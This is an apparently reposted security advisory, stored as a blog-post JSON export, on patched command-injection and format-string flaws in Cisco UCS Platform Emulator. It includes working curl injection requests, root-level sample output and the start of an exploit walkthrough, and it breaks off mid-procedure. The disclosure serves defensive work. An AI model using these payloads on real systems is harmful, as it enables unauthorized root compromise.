{"id":10226,"date":"2017-11-01T14:19:08","date_gmt":"2017-11-01T22:19:08","guid":{"rendered":"http:\/\/www.palada.net\/index.php\/2017\/11\/01\/news-3999\/"},"modified":"2017-11-01T14:19:08","modified_gmt":"2017-11-01T22:19:08","slug":"news-3999","status":"publish","type":"post","link":"https:\/\/www.palada.net\/index.php\/2017\/11\/01\/news-3999\/","title":{"rendered":"SSD Advisory \u2013 Cisco UCS Platform Emulator Remote Code Execution"},"content":{"rendered":"<p><strong>Credit to Author: SSD \/ Maor Schwartz| Date: Wed, 01 Nov 2017 05:08:10 +0000<\/strong><\/p>\n<div class=\"entry-content\">\n<p><strong>Want to get paid for a vulnerability similar to this one?<\/strong><br \/>Contact us at: <a href=\"mailto:sxsxd@bxexyxoxnxdxsxexcxuxrxixtxy.com\" onmouseover=\"this.href=this.href.replace(\/x\/g,'');\" id=\"a-href-3362\">sxsxdx@xbxexyxoxnxdxsxexcxuxrxixtxy.xcom<\/a><br \/><script>var obj = jQuery('#a-href-3362');if(obj[0]) { obj[0].innerText = obj[0].innerText.replace(\/x\/g, ''); }<\/script> See our full scope at: <a href=\"https:\/\/blogs.securiteam.com\/index.php\/product_scope\">https:\/\/blogs.securiteam.com\/index.php\/product_scope<\/a><\/p>\n<div class=\"pf-content\">\n<p><strong>Vulnerabilities Summary<\/strong><br \/> The following advisory describes two remote code execution vulnerabilities found in Cisco UCS Platform Emulator version 3.1(2ePE1).<\/p>\n<p>Cisco UCS Platform Emulator is the Cisco UCS Manager application bundled into a virtual machine (VM). The VM includes software that emulates hardware communications for the Cisco Unified Computing System (Cisco UCS) hardware that is configured and managed by Cisco UCS Manager. For example, you can use Cisco UCS Platform Emulator to create and test a supported Cisco UCS configuration, or to duplicate an existing Cisco UCS environment for troubleshooting or development purposes.<\/p>\n<p>The vulnerabilities found in Cisco UCS Platform Emulator are:<\/p>\n<ul>\n<li>Unauthenticated remote code execution<\/li>\n<li>Authenticated remote code execution<\/li>\n<\/ul>\n<p><strong>Credit<\/strong><br \/> An independent security researcher has reported this vulnerability to Beyond Security\u2019s SecuriTeam Secure Disclosure program<\/p>\n<p><strong>Vendor response<\/strong><br \/> The vendor has released patches to address this vulnerability and issue the following CVE:<\/p>\n<ul>\n<li>CVE-2017-12243<\/li>\n<\/ul>\n<p><span id=\"more-3362\"><\/span><\/p>\n<p><u><strong>Vulnerabilities details<\/strong><\/u><br \/> <strong>Unauthenticated remote code execution<\/strong><br \/> User controlled input is not sufficiently sanitized when passed to <em>IP\/settings\/ping<\/em> function. An unauthenticated attacker can inject commands via <em>PING_NUM<\/em> and <em>PING_IP_ADDR<\/em> parameters. Those commands will run as root on the remote machine. <\/p>\n<p><u>Proof of Concept<\/u><\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c1309e254916226\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> curl &#8220;http:\/\/IP\/settings\/ping?ping_num=1&amp;ping_ip_addr=127.0.0.1%3buname+-a%3b#&#8221;  curl -k &#8220;https:\/\/IP\/settings\/ping?ping_num=1&amp;ping_ip_addr=127.0.0.1%3buname+-a%3b#&#8221;  curl &#8220;http:\/\/IP\/settings\/ping?ping_num=1%3bid%3b#&amp;ping_ip_addr=127.0.0.1&#8221;  curl -k &#8220;https:\/\/IP\/settings\/ping?ping_num=1%3buname+-a%3b#&amp;ping_ip_addr=127.0.0.1&#8221;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">  \t\t\t\t  \t\t\t<\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0007 seconds] -->  <\/p>\n<p>By sending one of the above requests the Cisco UCS will response with:<\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130a5910514949\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> \/sample output\/  ================  demo@kali:~\/poc$ curl -k &#8220;http:\/\/IP\/settings\/ping?ping_num=1&amp;ping_ip_addr=127.0.0.1%3buname+-a%3b#&#8221;  PING 127.0.0.1 (127.0.0.1) 56(84) bytes of data.  64 bytes from 127.0.0.1: icmp_seq=1 ttl=64 time=0.017 ms    &#8212; 127.0.0.1 ping statistics &#8212;  1 packets transmitted, 1 received, 0% packet loss, time 0ms  rtt min\/avg\/max\/mdev = 0.017\/0.017\/0.017\/0.000 ms  Linux ucspe 2.6.32-431.el6.i686 #1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU\/Linux    demo@kali:~\/poc$ curl &#8220;http:\/\/IP\/settings\/ping?ping_num=1%3bid%3b#&amp;ping_ip_addr=127.0.0.1&#8221;  uid=0(root) gid=0(root) groups=0(root)<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-1\">1<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-2\">2<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-3\">3<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-4\">4<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-5\">5<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-6\">6<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-7\">7<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-8\">8<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-9\">9<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-10\">10<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-11\">11<\/div>\n<div class=\"crayon-num crayon-striped-num\" data-line=\"crayon-59fa485c130a5910514949-12\">12<\/div>\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a5910514949-13\">13<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-1\"><span class=\"crayon-o\">\/<\/span><span class=\"crayon-e\">sample <\/span><span class=\"crayon-v\">output<\/span><span class=\"crayon-o\">\/<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-2\"><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">===<\/span><span class=\"crayon-o\">=<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-3\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">curl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-i\">k<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;http:\/\/IP\/settings\/ping?ping_num=1&amp;ping_ip_addr=127.0.0.1%3buname+-a%3b#&#8221;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-4\"><span class=\"crayon-i\">PING<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">127.0.0.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">127.0.0.1<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">56<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-cn\">84<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bytes <\/span><span class=\"crayon-e\">of <\/span><span class=\"crayon-v\">data<\/span><span class=\"crayon-sy\">.<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-5\"><span class=\"crayon-cn\">64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">bytes <\/span><span class=\"crayon-i\">from<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">127.0.0.1<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">icmp_seq<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ttl<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">64<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">time<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0.017<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">ms<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-6\">&nbsp;<\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-7\"><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">127.0.0.1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ping <\/span><span class=\"crayon-v\">statistics<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">&#8212;<\/span><span class=\"crayon-o\">&#8211;<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-8\"><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">packets <\/span><span class=\"crayon-v\">transmitted<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">1<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">received<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">packet <\/span><span class=\"crayon-v\">loss<\/span><span class=\"crayon-sy\">,<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">time<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0ms<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-9\"><span class=\"crayon-e\">rtt <\/span><span class=\"crayon-v\">min<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">avg<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">max<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">mdev<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">0.017<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0.017<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0.017<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-cn\">0.000<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-e\">ms<\/span><\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-10\"><span class=\"crayon-e\">Linux <\/span><span class=\"crayon-i\">ucspe<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-cn\">2.6.32<\/span><span class=\"crayon-o\">&#8211;<\/span><span class=\"crayon-cn\">431.el6.i686<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-p\">#1 SMP Fri Nov 22 00:26:36 UTC 2013 i686 i686 i386 GNU\/Linux<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-11\">&nbsp;<\/div>\n<div class=\"crayon-line crayon-striped-line\" id=\"crayon-59fa485c130a5910514949-12\"><span class=\"crayon-v\">demo<\/span><span class=\"crayon-sy\">@<\/span><span class=\"crayon-v\">kali<\/span><span class=\"crayon-o\">:<\/span><span class=\"crayon-o\">~<\/span><span class=\"crayon-o\">\/<\/span><span class=\"crayon-v\">poc<\/span><span class=\"crayon-sy\">$<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-i\">curl<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-s\">&#8220;http:\/\/IP\/settings\/ping?ping_num=1%3bid%3b#&amp;ping_ip_addr=127.0.0.1&#8221;<\/span><\/div>\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a5910514949-13\"><span class=\"crayon-v\">uid<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">gid<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">)<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-v\">groups<\/span><span class=\"crayon-o\">=<\/span><span class=\"crayon-cn\">0<\/span><span class=\"crayon-sy\">(<\/span><span class=\"crayon-v\">root<\/span><span class=\"crayon-sy\">)<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0022 seconds] -->  <\/p>\n<p><strong>Authenticated remote code execution<\/strong><br \/> Cisco UCS Platform Emulator is vulnerable to format string vulnerability that leads to remote code execution. <\/p>\n<p>Cisco UCS Platform Emulator runs an SSH server by default, and users who log-in via ssh runs the following command: <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130a9016361558\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> show sel %x<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130a9016361558-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130a9016361558-1\"><span class=\"crayon-e\">show <\/span><span class=\"crayon-v\">sel<\/span><span class=\"crayon-h\"> <\/span><span class=\"crayon-o\">%<\/span><span class=\"crayon-v\">x<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0002 seconds] -->  <\/p>\n<p>Get the following response: <\/p>\n<\/p>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130ab653247244\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> &#8220;Error: Invalid rack server value: &#8230;somedigits..&#8221;<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ab653247244-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ab653247244-1\"><span class=\"crayon-s\">&#8220;Error: Invalid rack server value: &#8230;somedigits..&#8221;<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0001 seconds] -->  <\/p>\n<p>By execute the ssh &#8220;s<em>how sel %x<\/em>&#8221; command we overwriting <em>got<\/em> entry for _ZN7clidcos15CommandEmulator16cli_param_filterEPKc function from libsamvsh.so with libc system.<\/p>\n<p><u>Proof of Concept<\/u><br \/> In order to exploit the vulnerability, please follow the following instructions: <\/p>\n<p>Install ucspe on vm (setup all 3 network cards) with the following user and password:<\/p>\n<ul>\n<li>Default ucspe user : ucspe<\/li>\n<li>Default ucspe pass : ucspe<\/li>\n<\/ul>\n<p>Run the ucspe and write down the ip address of the ucspe (visible in console &#8220;Connected to IP: &#8230;.&#8221;)<\/p>\n<p>In this Proof of Concept we will use IP &#8211; 192.168.1.43<\/p>\n<p>Open up two terminals on some other machine (kali for example).<\/p>\n<p>On the first terminal:<\/p>\n<ol>\n<li>Create <em>poc<\/em> directory, put <em>poc4_ucspe_3.1.2e.py<\/em> in the <em>poc<\/em> directory. change current directory to poc<\/li>\n<li>Create <em>fifo1<\/em>:<\/li>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130ae402028052\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> mkfifo fifo1<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130ae402028052-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130ae402028052-1\"><span class=\"crayon-e\">mkfifo <\/span><span class=\"crayon-v\">fifo1<\/span><\/div>\n<\/div>\n<\/td>\n<\/tr>\n<\/table><\/div>\n<\/p><\/div>\n<p>  <!-- [Format Time: 0.0002 seconds] -->  <\/p>\n<li>Create output directory:&#8221;<\/li>\n<p><!-- Crayon Syntax Highlighter v_2.7.2_beta -->    \t\t<\/p>\n<div id=\"crayon-59fa485c130b0638501663\" class=\"crayon-syntax crayon-theme-classic crayon-font-monaco crayon-os-pc print-yes notranslate\" data-settings=\" minimize scroll-mouseover\" style=\" margin-top: 12px; margin-bottom: 12px; font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-toolbar\" data-settings=\" mouseover overlay hide delay\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\"><span class=\"crayon-title\"><\/span>  \t\t\t<\/p>\n<div class=\"crayon-tools\" style=\"font-size: 12px !important;height: 18px !important; line-height: 18px !important;\">\n<div class=\"crayon-button crayon-nums-button\" title=\"Toggle Line Numbers\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-plain-button\" title=\"Toggle Plain Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-wrap-button\" title=\"Toggle Line Wrap\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-expand-button\" title=\"Expand Code\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-copy-button\" title=\"Copy\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<div class=\"crayon-button crayon-popup-button\" title=\"Open Code In New Window\">\n<div class=\"crayon-button-icon\"><\/div>\n<\/div>\n<\/div>\n<\/div>\n<div class=\"crayon-info\" style=\"min-height: 16.8px !important; line-height: 16.8px !important;\"><\/div>\n<div class=\"crayon-plain-wrap\"><textarea wrap=\"soft\" class=\"crayon-plain print-no\" data-settings=\"dblclick\" readonly style=\"-moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4; font-size: 12px !important; line-height: 15px !important;\"> mkdir output<\/textarea><\/div>\n<div class=\"crayon-main\" style=\"\">\n<table class=\"crayon-table\">\n<tr class=\"crayon-row\">\n<td class=\"crayon-nums\" data-settings=\"show\">\n<div class=\"crayon-nums-content\" style=\"font-size: 12px !important; line-height: 15px !important;\">\n<div class=\"crayon-num\" data-line=\"crayon-59fa485c130b0638501663-1\">1<\/div>\n<\/div>\n<\/td>\n<td class=\"crayon-code\">\n<div class=\"crayon-pre\" style=\"font-size: 12px !important; line-height: 15px !important; -moz-tab-size:4; -o-tab-size:4; -webkit-tab-size:4; tab-size:4;\">\n<div class=\"crayon-line\" id=\"crayon-59fa485c130b0638501663-1\"><span class=\"crayon-e\">mkdir <\/span><span 